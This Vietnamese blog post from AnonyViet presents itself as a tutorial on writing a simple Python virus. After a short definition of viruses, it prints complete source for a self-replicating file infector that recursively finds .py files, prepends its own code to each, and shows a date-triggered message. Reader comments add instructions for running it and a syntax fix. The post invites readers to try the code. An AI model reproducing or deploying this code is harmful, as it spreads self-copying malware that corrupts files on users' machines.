Hướng dẫn tự viết một con Virus với Python
Chào các bạn !!
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Một virus máy tính là loại hình chương trình phần mềm độc hại ( “malware”), khi thực hiện, sao chép theo cách tái tạo chính nó (sao chép mã nguồn riêng của mình) hoặc lây nhiễm các chương trình máy tính khác bằng cách thay đổi các chương trình máy tính có thể bao gồm them.Các file dữ liệu , hoặc “khởi động” khu vực của ổ đĩa cứng.
Những người viết virus sử dụng kỹ thuật đánh lừa bằng code và khai thác kiến thức chi tiết về lỗ hổng bảo mật để đạt được quyền truy cập vào các máy tính chủ của họ và nguồn lực tin. Phần lớn các virus nhắm mục tiêu các hệ thống chạy Microsoft Windows, sử dụng một loạt các cơ chế lây nhiễm chủ mới, và thường được sử dụng chống phát hiện hay còn gọi là bypass (qua mặt) các phần mềm Antivirus
Động cơ để tạo virus có thể bắt nguồn từ mục đích tìm kiếm lợi nhuận của các Hacker
ví dụ: với ransomware, mong muốn gửi một thông điệp chính trị, vui chơi giải trí cá nhân, để chứng minh rằng một lỗ hổng tồn tại trong phần mềm, cho sự phá hoại và từ chối dịch vụ, hoặc đơn giản chỉ vì họ muốn khám phá cybersecurityissues, sự sống nhân tạo và các thuật toán tiến hóa.
Ở đây trong bài viết này chúng tôi sẽ hướng dẫn mã vi rút python đơn giản để các bạn thấy được thế nào là Virus. Mặc dù đây là một con virus đơn giản nhưng đối với hệ thống máy tính ngày trước thì là cả một mối đe dọa hàng đầu thế giới đấy !!!
#!/usr/bin/python import os import datetime SIGNATURE = "SIMPLE PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()
Muốn biết công dụng là gì thì thử mới biết =)))
AnonyViet chúc các bạn thành công nhé !
rất có ích ghê..không biết phải nói cảm ơn ntn
thế này dc r :V
giúp tớ kích hoạt code đc ko ạ
bài viết good , thanks ad xD
mà khoan đã ……………
ai biết tác dụng của con virus này ko
tui ở đây để làm gfi ——-> đua top :V
Không bít comment thì post này có lên top không ta?
Sau khi chạy xong nó thế nào?
Tác dụng của nó là gì ạ?
làm sao để cho nó chạy được vậy anh
tải python trên microsoft store về, khi tải xong thì vào cmd gõ py, nếu cài đặt đc thì nó sẽ hiện một dong chữ nhưng chỉ cần có dong đầu tiên ghi là python”dòng phiên bản ví dụ như 3.9…..”.Sau đó tạo text document, đổi tên nó thành “tên gì thì bạn tự đặt nhưng cuối tên phải có đuôi là .py”, trong file dán mã vào text document đó,lưu lại và gõ địa chỉ cái text document đã đổi tên đó nó nằm ở đâu trong file, rồi bấm py “tên” là đc
thiếu dấu () trong print”HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT’S AN EVIL ALUGH BY THE WAY!!” phải là print(“HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT’S AN EVIL ALUGH BY THE WAY!!”)
sai tại dòng 24 nhé bn